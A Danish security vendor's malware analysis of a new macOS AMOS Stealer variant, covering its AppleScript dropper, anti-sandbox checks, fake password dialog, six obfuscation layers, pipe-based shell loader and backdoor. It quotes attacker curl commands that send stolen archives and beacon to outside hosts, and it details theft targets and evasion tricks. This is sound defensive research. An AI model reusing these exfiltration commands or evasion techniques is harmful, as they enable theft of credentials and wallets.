Anatomien af en ukendt AMOS Stealer: fra alert til immunitet på timer

En hidtil udokumenteret AMOS Stealer-variant kompromitterede et macOS-endpoint. Ingen kendte hashes, ingen C2-data i offentlige databaser. Vores SOC skilte seks obfuskeringslag ad, udtrak alle indikatorer og rullede beskyttelsen ud til alle SOC-kunder inden for timer, endnu før branchen overhovedet havde set samplet.

Anatomien af en ukendt AMOS Stealer: fra alert til immunitet på timer

Når en alert udløses i vores SOC, begynder uret at løbe: ikke kun for den berørte kunde, men for alle organisationer under vores beskyttelse. Det farligste øjeblik i det moderne trusselslandskab er Intelligence Gap, tidsvinduet mellem den første anvendelse af en ny malwarevariant og den dag, branchen hører om den.

For selvstændige security-teams betyder det hul ekstrem sårbarhed: man venter på en vendor-opdatering eller et signaturfeed, der endnu ikke er skrevet. For vores kunder lukker vores internt udviklede Shared Threat Intelligence præcis det vindue.

Dette indlæg er en teknisk gennemgang af, hvordan vi skilte en hidtil udokumenteret AMOS-variant (Atomic macOS Stealer) ad, og hvordan et enkelt kompromitteret endpoint inden for få timer blev til dækkende detektion og blokering for alle vores kundemiljøer.


Hændelsen: et ukendt IOC-scenarie

Alerten kom ind den 12. marts 2026 kl. 06:25 lokal tid: et macOS-endpoint var blevet kompromitteret. Da vores SOC gik i gang med at analysere artefakterne, stod vi i den situation, enhver threat analyst frygter: ingen kendte filhashes, ingen C2-IP-adresser, ingen brugbare adfærdssignaturer i offentlige databaser.

Den fulde angrebsarkitektur viste sig først i dybdeanalysen. Infektionen byggede på en 15,7 MB stor macOS Universal Binary (x86_64 og ARM64), placeret under /private/tmp/helper. Samplet var ikke direkte tilgængeligt på det kompromitterede system; vores team måtte rekonstruere infektionskæden og simulere den oprindelige leveringsforespørgsel for manuelt at hente binærfilen fra angriberens infrastruktur.


Stage 1: Sandbox-kontroller

Før selve stealeren blev udført på enheden, havde en AppleScript-payload allerede kørt. Hver streng i den, hver filsti, hver shell-kommando, hver URL var kodet gennem tre brugerdefinerede aritmetiske funktioner:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Ikke en eneste streng optræder i klartekst. Det, der ved første øjekast lignede betydningsløse integer-arrays, viste sig efter omvendingen af kodningsskemaet at være et komplet, driftsklart framework til datatyveri og eksfiltrering.

Vi dekodede hvert array i scriptet statisk. Resultaterne var entydige:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

Download-URL'en efterligner bevidst en legitim opdatering til workflow-automatiseringen n8n, et værktøj, der er udbredt blandt udviklere og DevOps-ingeniører. Det er ikke tilfældigt: kampagnen rammer teknisk kyndige brugere, ikke almindelige slutbrugere, der installerer cracket software.

Anti-sandbox-tjekket

Før download kørte scriptet en dedikeret rutine til at opdage VM'er og sandboxes. Ud fra artefakterne fra hændelsen kunne vi desuden genskabe et selvstændigt anti-sandbox-script:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Resultaterne tjekkede scriptet derefter mod to lister. Den første ledte efter virtualiseringsmarkører i hukommelsesdataene:

"QEMU"   "VMware"   "KVM"

Den anden tjekkede hardwareidentifikatorer mod en liste over kendte serienumre på analysemaskiner:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

Ved et match: exit 100, fuldstændigt afbrud. På en ægte MacBook Pro med Apple Silicon bestod alle tjek lydløst, og udførelsen fortsatte. En sandbox-evasionsteknik på professionelt niveau, som kørte, før en eneste byte af binærfilen var hentet.

Enkelt, men effektivt: den falske adgangskodeprompt

Det dekodede script indeholdt også dialogen til rettighedseskalering via social engineering:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Dialogen vises via et almindeligt macOS-display dialog-kald med with hidden answer og kan visuelt ikke skelnes fra en ægte macOS-autorisationsprompt. Den indtastede adgangskode brugte scriptet til at kalde login -pf <username> og løfte processen til root-rettigheder, endnu før binærfilen blev udført.

Hvad scriptet indsamlede

Så snart binærfilen var udført, fortsatte osascript'et sit eget indsamlingsforløb og tog hver kategori af følsomme systemdata. Vi dekodede alle indsamlingsstier og mål:

Browserdata (alle Chromium-browsere + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Hele indholdet eksporteret som HTML med tællerheader

Lokale filer

Skrivebord og dokumenter, op til 30 MB, med fokus på:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Kryptovaluta-wallets

En hardkodet liste med mere end 200 browser-extension-ID'er, der dækker alle gængse wallets, heriblandt MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.

Efter indsamlingen blev alle data pakket i et tilfældigt navngivet midlertidigt katalog og eksfiltreret:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

Oprydningen fulgte umiddelbart efter:

rm -r <staging_dir>
rm /tmp/out.zip

Stage 2: Reverse engineering af 'helper'-binærfilen

helper-binærfilen er den del, hvor denne analyse for alvor går i dybden. Der er tale om et professionelt obfuskeret macOS-executable, som systematisk besværliggør statisk analyse, og som krævede det største reverse engineering-arbejde i hele undersøgelsen.

Hele analysen blev gennemført med Ghidra og vores brugerdefinerede ARM64-analyseworkflow.

Filegenskaber

Egenskab Værdi
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Det begynder før main()

Det første, vi konstaterede i Ghidra: denne binærfil opfører sig ikke som et normalt executable. Det egentlige indgangspunkt er ikke main(), men en funktion, der er registreret i __mod_init_func, en macOS-mekanisme, der instruerer den dynamiske linker (dyld) i automatisk at køre bestemte funktioner, når binærfilen indlæses, endnu før brugbar kode kører.

Init-funktionen ved 0x10009f384 er malwarens egentlige indgangspunkt. Her er Ghidra-dekompileringen:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

To ting springer straks i øjnene. For det første de 894 mikrosekunders usleep ved opstart: et anti-sandbox-timingsignal. Mere alvorlig er den indirekte springtabel ved 0x10009f43c. Det er en beregnet branch, hvor måladressen bestemmes ved runtime ud fra en lookup-tabel. Statiske analyseværktøjer kan ikke rekonstruere control flow-grafen; Ghidra loggede flere "unreachable block"-advarsler under forsøget på at følge udførelsesstien. Det er tilsigtet.

Springtabellen driver en 14-tilstands-udførelsesmaskine. Hver tilstand udfører ét enkelt diskret trin i dekrypterings- og udførelsespipelinen. Tilstandstælleren opdateres efter hvert trin, og maskinen kører, indtil alle tilstande er gennemløbet.

ARM64-disassemblyen af state dispatcheren

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Seks stablede obfuskeringslag

Binærfilen bruger seks forskellige obfuskeringslag, stablet og kædet sammen, så outputtet fra hvert lag føres ind i det næste. Hver payload, hver streng, hver intern konstant er kodet. I __const-segmentet optræder intet meningsfuldt i klartekst. Det følgende er en fuldstændig gennemgang lag for lag, verificeret direkte i Ghidra, helt ned til de enkelte ARM64-instruktioner. Hver af de anvendte teknikker er kendt hver for sig; men den kædede anvendelse over flere niveauer skabte et stærkt indbyrdes afhængigt udførelsesflow, som gjorde både den statiske og den dynamiske analyse betydeligt vanskeligere.


Layer 1: triplet-kodning på kompileringstidspunktet

Ingen streng i binærfilen er gemt som en tegnfølge, men som en sekvens af 12-byte aritmetiske tripletter. Hver triplet (a, b, shift) koder præcis ét outputtegn. Kodningsskemaet anvendes på kompileringstidspunktet, så ingen streng nogensinde findes som klartekst i binærfilen, ikke engang kortvarigt under indlæsningen.

To separate dekoderfunktioner håndterer forskellige strengstørrelser. FUN_100087c08 ved 0x100087c08 dekoder 60-tegns strenge (720 byte inputdata fra DAT_1006292cc). FUN_10007ad80 ved 0x10007ad80 dekoder 56-tegns strenge (672 byte fra DAT_10049708c). Begge bruger den samme algoritme.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

Den tilsvarende ARM64-assembly, hvor hver instruktion svarer direkte til en operation i formlen:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Bemærkelsesværdigt: multiplikationen b × 3 er implementeret som add w12, w11, w11, LSL #1, et shift-and-add, der helt undgår en multiplikationsinstruktion. Det er en klassisk compileroptimering, som samtidig gør koden sværere at finde via signaturmatching.

Den fulde dekodningsformel:

char = ASR( (b × 3) XOR a, shift ) − b

ASR (Arithmetic Shift Right) er afgørende: den bevarer fortegnsbitten. Hvis mellemresultatet af (b×3) XOR a er negativt, hvilket ofte sker, ville et logisk shift give et helt andet resultat. Det er tilsigtet: den, der implementerer formlen i et højniveausprog med >>, får stiltiende forkerte output, medmindre den fortegnsbehæftede aritmetik udtrykkeligt tages i betragtning.

56-tegns varianten FUN_10007ad80 er strukturelt identisk, arbejder på DAT_10049708c med en løkkegrænse på 0x38. Begge funktioner blev bekræftet live i Ghidra under denne analyse.


Layer 2: hex-streng-kodning

De rå bytes, som Layer 1 producerer, er selv ASCII-hex-tegn, ikke binære data. Outputtet af et Layer 1-triplet-dekode er en streng af hex-par: 32694e5462.... Det bekræftes af dekoderfunktionen FUN_100000dc0 ved 0x100000dc0, som implementerer et hex-dekode via en lookup-tabel ved DAT_1007bb591.

Ghidra-dekompileringen viser en switch-sætning, der mapper hvert hex-tegn (0x30-0x39, 0x41-0x46, 0x61-0x66) til dets nibble-værdi og sætter outputbytes sammen to tegn ad gangen:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

ARM64-assemblyen driver dette med en sekundær computed branch-tabel og implementerer dermed reelt en springtabel med 55 indgange til switchen:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

To beregnede branches inden for et vindue på 24 byte. Statiske analyseværktøjer kan ikke håndtere det mønster, fordi begge branch-mål er ukendte på analysetidspunktet.

En hex-streng på 137.208 tegn giver efter dekodningen 68.604 byte, som derefter føres ind i Layer 3.


Layer 3: brugerdefineret 16-symbols nibble-alfabet

De 68.604 outputbytes fra Layer 2 bruger kun 16 entydige byteværdier fra to ikke-sammenhængende ASCII-områder:

  • 0x20-0x2F: mellemrum, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

Det er et bevidst designvalg. I en hex-editor ser disse bytes ud som mellemrum, tegnsætning og ASCII-randtegn; de går i ét med støjen fra det, der ligner metadata eller padding. En analytiker, der skimmer et hex-dump, markerer ikke de byteområder som mistænkelige, og standardentropianalyser undervurderer den effektive entropi, fordi bytefordelingen ikke virker tilfældig.

Hver byte fra dette alfabet koder en nibble af den egentlige payload. Mapningen fra alfabet til nibble anvendes af encode/decode-funktionen FUN_100000d60, som vi bekræftede ved 0x100000d60. Den kæder to underfunktioner sammen: FUN_100000b50 opretter et indekseret map over tegnene i inputstrengen, og FUN_100000c34 gennemløber dette map, forbruger 6 bit pr. skridt og akkumulerer outputbytes 8 bit ad gangen:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

De 34.302 byte, der kommer ud af dette gennemløb, er 99,7% printbart ASCII. Ved et hurtigt førstehåndsindtryk ligner payloaden på dette niveau et stort shell-script eller en konfigurations-blob.


Layer 4: strengobfuskering på kompileringstidspunktet

Internt anvendte strenge obfuskeres på kompileringstidspunktet med det samme triplet-skema som Layer 1 og rekonstrueres ved runtime lige inden brug. I hukommelsen ligger de aldrig længere end nødvendigt; bufferen frigives straks efter forbrug. I binærfilens statiske datasektioner er en dekodet streng på intet tidspunkt synlig.

Strenghash-funktionen FUN_100000730 leverer et sekundært obfuskeringslag til strengsammenligninger. I stedet for at sammenligne strenge direkte, hvilket ville efterlade klartekst i hukommelsen, beregner og sammenligner binærfilen heltalshashes:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

ARM64-assemblyen erstatter multiplikationen med et fused multiply-add:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Det betyder, at selv en sammenligning af to strenge inde i binærfilen ikke skaber en branch, som en debugger kan opfange rent på strengniveau, kun på hashniveau.


Layer 5: to custom stream cipher-instanser

Her bliver obfuskeringsarkitekturen usædvanlig. I binærfilen kører ikke én, men to separate cipher-instanser, hver med sin egen hardkodede lookup-tabel og sin egen starttæller. Begge bruger den samme algoritmestruktur, men producerer forskellige outputalfabeter til forskellige dele af payload-pipelinen.

Instans A, FUN_10007ab34 ved 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instans B, FUN_10007a7e0 ved 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Algoritmen er strukturelt identisk, men starttælleren er forskellig (0x4c mod 0x9f), og lookup-tabellerne ligger på forskellige hukommelsesadresser. Instans A kaldes fra tilstand 11 i tilstandsmaskinen for at generere kodningsalfabetet til den første payload-sti. Instans B kaldes fra tilstand 6 for at generere alfabetet til dekodningen af den store shell-script-payload.

Præcist formuleret: der er tale om en substitutionschiffer med tællerafhængigt indeks. Hver outputbyte er et tabelopslag, hvor indekset er (input_byte XOR counter) & 0xFF. Tælleren opdateres efter hver byte som counter = (i + (counter XOR output)) & 0xFF, hvilket betyder, at hver outputbyte påvirker bestemmelsen af det næste lookup-indeks. Det skaber en afhængighedskæde gennem hele outputsekvensen: byte N kan ikke dekrypteres uden at byte 0 til N-1 er dekrypteret korrekt. Delvis dekryptering eller fejlanalyse bliver dermed betydeligt sværere.

Ingen af instanserne er standard-RC4. Der er ingen S-box-initialiseringsfase, ingen S-box-swap-operation. Lookup-tabellerne er statiske konstanter, indlejret på kompileringstidspunktet.


Layer 6: runtime-XOR med exit-code-afhængig nøgle

Det sidste og analytisk mest krævende lag anvender en in-place XOR-transformation på Stage 2-payloaden. XOR-nøglen er ikke hardkodet, men afledes ved runtime af exit-koden fra den første shell-payload-udførelse, og er dermed principielt ikke bestemmelig ved statisk analyse. Binærfilen skal rent faktisk udføres, og det første shell-script skal køre til ende, før nøglen overhovedet findes.

Nøgleafledningssekvensen i ARM64-tilstandsmaskinens dispatcher:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

XOR-løkken, der behandler Stage 2-payloaden:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

Nøglen er en 16-bit værdi, der afledes af exit-status-byten fra den første shell-payload, multipliceres med 0x7f0 og lægges til den aktuelle værdi i tilstandsmaskinens basistællerregister w26. Multiplikationskonstanten 0x7f0 gør, at en enkeltbit-forskel i exit-koden giver en helt anden nøgle. Der er ingen udnyttelig kontinuitet mellem nabonøgleværdier.

Uden at udføre binærfilen i et kontrolleret miljø og registrere den præcise exit-kode fra den første shell-payload forbliver Stage 2-payloaden permanent uigennemsigtig for statisk analyse. Det var den sværeste forhindring i hele analysen.


Shell-udførelse: pipes i stedet for argumenter, og SIMD-XOR

Shell-udførelsesfunktionen FUN_10000091c ved 0x10000091c er binærfilens arkitektonisk mest interessante komponent. Her løber alt sammen: den dekodede payload, det obfuskerede kommandonavn og det eksplicitte anti-forensiske design. Hvert designvalg i denne funktion tjener et bestemt evasionsformål.

Trin 1: kommandonavnet optræder aldrig i klartekst

/bin/zsh findes ingen steder i binærfilen som klartekst. I __cstring-afsnittet ved 0x1007bb5c8 ligger strengen som de obfuskerede bytes \x01LG@\x01T]F. Dekodningen sker ved runtime via en enkelt XOR-operation, som kan verificeres direkte i ARM64-assemblyen:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

XOR-nøglen er 0x2e, ASCII-værdien for . (punktum). Dekodningen sker i en enkelt eor v0.8B, v0.8B, v1.8B-instruktion, en ARM64-NEON-vektorinstruktion, der XOR'er alle 8 bytes samtidig. At bruge en SIMD-instruktion til et simpelt 8-byte dekode er usædvanligt og har to effekter: det er hurtigere end en byte-for-byte-løkke, og det instruktionsmønster, det skaber, adskiller sig grundlæggende fra de skalære dekodeløkker, som signaturmatchende værktøjer er trænet på.

Verifikationen er enkel: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, hvilket i de første fire bytes giver /bin.

Trin 2: pipe-arkitekturen

Efter dekodningen af kommandonavnet opretter funktionen en OS-pipe og forker:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

I child-processen:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Child-processen erstatter sit standardinput med pipens læseende og starter /bin/zsh -s. I -s-tilstand læser shellen kommandoer fra stdin. For procesovervågningsværktøjer fremstår denne proces som /bin/zsh -s uden argumenter, umulig at skelne fra en legitim interaktiv shell-session.

Trin 3: chunk-writes af varierende størrelse

Parent-processen skriver den dekrypterede payload til pipens skriveende i bevidst varierende chunk-størrelser:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

Chunk-størrelsesformlen (remaining_length % 192) + 64 giver værdier mellem 64 og 255 byte pr. write-kald, afhængigt af den resterende payload-længde. Det variable write-mønster er synligt i kernel event tracing-værktøjer som ktrace eller dtrace, men skaber ingen genkendelig fastsignatur. Hver udførelse af den samme payload producerer en anden sekvens af write()-syscall-størrelser.

Det 1 mikrosekunds usleep mellem chunkene tjener et andet formål: det frigiver CPU'en mellem skrivningerne, holder CPU-belastningen flad og undgår en pludselig spids, som en adfærdsbaseret EDR-regel kunne markere som anomal burst-I/O.

Trin 4: øjeblikkelig hukommelsesrydning

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

_bzero()-kaldet nulstiller hele den dekrypterede payload-buffer umiddelbart efter den sidste skrivning til pipen. Intet tidsvindue, ikke engang et mikrosekund, hvor den dekrypterede payload stadig ville ligge i hukommelsen efter udførelsen. Et live memory dump taget lige efter at denne funktion returnerer, finder kun nuller, hvor payloaden var.

Det kaldes zero-after-use, den samme teknik, som højsikre kryptografiske biblioteker bruger, for at nøglemateriale ikke bliver liggende i hukommelsen. At teknikken dukker op i commodity-malware er usædvanligt og peger på en udvikler med baggrund i security engineering.

Den fulde udførelsessekvens:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

Importtabellen som våben

Binærfilens fulde importtabel:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

I alt 27 symboler. Det, der mangler, er mindst lige så afslørende som det, der er der.

Fraværende: netværk

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Fraværende: filsystem

open        read        fopen       fread
fwrite      fclose      stat        unlink
mkdir       rename      opendir     readdir

Fraværende: procesintrospektion

getpid      getuid      getenv      sysctl

Fraværende: kryptografi

CCCrypt     SecItemAdd  SecKeychainFind

I et traditionelt malware-sample forventer man netværks-imports (socket, connect) eller fil-imports (fopen, write). Denne binærfil har ikke en eneste. For en almindelig scanner ser den ud som en harmløs proceslauncher, og det er planlagt sådan: et bevidst arkitekturvalg, der får statiske analyseværktøjer til at løbe ud i ingenting.

helper-binærfilen udfører ikke selv tyveriet. Dens eneste formål er at aflevere og køre den egentlige ondsindede payload, et kraftigt obfuskeret AppleScript. En EDR eller et AV, der leder efter ondsindede binærfiler, ser her en loader uden netværks- eller fil-I/O og klassificerer den muligvis som ren, uden at opdage, at binærfilen er et specialiseret leveringssystem til en højniveau-script-payload.


Bagdøren

Hændelsen sluttede ikke efter den indledende kompromittering. Microsoft Defender-telemetri viste en proces, der kørte fra /Users/<redacted>/.mainhelper og kaldte en ekstern server:

sh -c "curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'"

Base64-strengen dekodede til en 16-byte enheds-UUID, den entydige identifikator, som angriberens C2-infrastruktur havde tildelt denne enhed på dagen for den første infektion.

.mainhelper-binærfilen (SHA-256: 7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063) var blevet installeret via ditto af osascript-dropperen på dagen for hændelsen.

